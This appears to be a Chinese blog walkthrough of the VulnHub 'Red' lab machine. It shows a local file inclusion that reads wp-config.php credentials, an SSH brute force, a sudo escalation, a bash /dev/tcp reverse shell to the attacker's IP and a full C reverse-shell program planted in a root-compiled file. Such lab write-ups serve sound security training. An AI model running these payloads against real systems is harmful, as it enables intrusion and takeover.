vulnhub实战:Red

vulnhub实战:Red

1.Red介绍

描述

红色已经接管了你的系统,你能重新获得控制权吗?

下载地址:

https://download.vulnhub.com/red/Red.ova

2.安装部署

下载之后使用VMware打开.ova文件,打开结果,设置为Net模式

由于打开后,使用以下命令:无法获取到ip

arp-scan -l	

这种一般都是网卡配置问题,于是进行查看,在开启靶机时按shift键,出现如下界面

在这里插入图片描述

往下找到第一个linux字符串,找到 ro xxxxx,然后改成

rw single init=/bin/bash

在这里插入图片描述

然后按下ctrl+x重启之后会进入如下界面,

使用ip a命令查看网卡

在这里插入图片描述

发现是ens33,然后修改一下配置文件

vi /etc/network/interfaces

发现没有该文件,于是到/etc/netplan/路径下

cd etc/netplan/
ls
nano ls查看的文件名

将网卡信息改为ens33,保存后重启靶机

在这里插入图片描述

重启靶机之后,可以看到已经能获取到靶机ip,192.168.241.137

在这里插入图片描述

3.信息收集

1.端口扫描

nmap -A -p- -T4 192.168.241.137	

在这里插入图片描述

可以看到开启了22端口和80端口

从扫描信息还可以看到robots.txt,wp-admin路径以及cms为WordPress5.8.1

2.web信息收集

访问该ip

在这里插入图片描述

点击hello Blue,发现无法正确跳转

在这里插入图片描述

于是在hosts文件中加入

192.168.241.137 redrocks.win	
//hosts文件不要用编辑器打开,默认记事本打开就好,否则可能会出现编码问题,记事本保存格式为ANSI
ipconfig/flushdns	//刷新缓存

再次访问redrocks.win
在这里插入图片描述

发现页面出现了hacked by red,被黑客攻击了,并提示有后门文件,于是进行查找

3.后门文件查找

因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。

SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等

安装:

apt install seclists

工具使用:

Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。

安装:

apt update
apt install gobuster

工具可选模式:

  • dir:传统的目录爆破模式;

  • dns:DNS子域名爆破模式;

  • vhost:虚拟主机爆破模式;

gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt		// -w 字典路径

在这里插入图片描述

扫出了 NetworkFileManagerPHP.php,状态码是500,猜测可能存在本地文件包含,应该需要一个参数指定包含的文件名

于是通过进行wfuzz参数测试

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

在这里插入图片描述

不过wfuzz测试只测了80多个值就超时退出了,因为看了大佬们的wp,于是将key放在了字典前面才测试出来,

http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd

通过访问本地文件发现确实是文件包含

在这里插入图片描述

http://redrocks.win/NetworkFileManagerPHP.php?key=NetworkFileManagerPHP.php

但是直接访问并没有用,于是用php伪协议读取文件源码,

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

访问之后base64解码后:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
   #base64解码 That password alone won't help you! Hashcat says rules are rules
?>

发现并没有什么用,因为提到了hashcat,于是寻找账号密码信息,因为是WordPress,所以查找该配置文件信息wp-config.php

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

还是通过文件包含用PHP伪协议去读取文件源码,然后base64解码

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

通过配置文件可以看到有个John用户

define( 'DB_USER', 'john' )

于是尝试ssh登录,发现密码果然错误,

在这里插入图片描述

于是进行hashcat破解

4.hash碰撞

因为是base64解码,选择bset64规则进行hash碰撞

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
//pass.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码

在这里插入图片描述

然后通过爆破得到密码

hydra -l john -P passlist.txt ssh://192.168.241.137

在这里插入图片描述

然后进行登录

在这里插入图片描述

查看当前路径下文件,发现以下内容
在这里插入图片描述

提示说 cat 命令有问题。于是查看一下权限

使用sudo -l查看当前用户可执行的命令

在这里插入图片描述

发现会以 ippsec 用户 执行 /usr/bin/time:

于是time提权,执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户

几秒钟没有交互就会断开连接,还会将我们踢出连接并修改密码,于是想办法进行提权

5.会话维持

首先进行会话维持,防止在被踢出会话,在新建一个终端进行监听

nc -lvvp 4444

再次使用hydra爆破密码,登录后

创建一个反弹shell

sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.241.128/4444 0>&1

在这里插入图片描述

可以看到成功反弹shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm #这里按下Ctrl+z返回一下
stty raw -echo;fg #输入reset
stty rows 46 columns 188 #规定行列,能使其顺序不乱
 cd /var/www/wordpress

在这里插入图片描述

这样就可以获取一个完整的shell,

然后下载pspy64s,查看系统运行进程

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

进入/tmp目录,输入命令下载

在这里插入图片描述

之后给个权限然后运行

chmod +x pspy64s

./pspy64s

在这里插入图片描述

找到后门文件

在这里插入图片描述

网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限

删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c

6.提权

https://www.revshells.com/

在这里插入图片描述

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 9001;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.241.128");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

稍作改动: execve(“sh”, argv, NULL); 改成 execve(“/bin/bash”, argv, NULL);

然后修改监听ip

之后进入/var/www/wordpress/.git目录,上传supersecretfileuc.c文件

rm -r rev
rm -r supersecretfileuc.c	#首先将原来的这两个文件删除
python3 -m http.server		#kail 开启web服务
wget http://192.168.241.128:8000/supersecretfileuc.c	#上传该文件到靶机上
nc -lvvp 9001				#.c文件中监听端口为9001

在这里插入图片描述

等待监听连接

在这里插入图片描述

查看root.txt

在这里插入图片描述

还有一个用户的flag,在oxdf用户下

在这里插入图片描述

至此,两个flag全部找到。

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/124867205
RED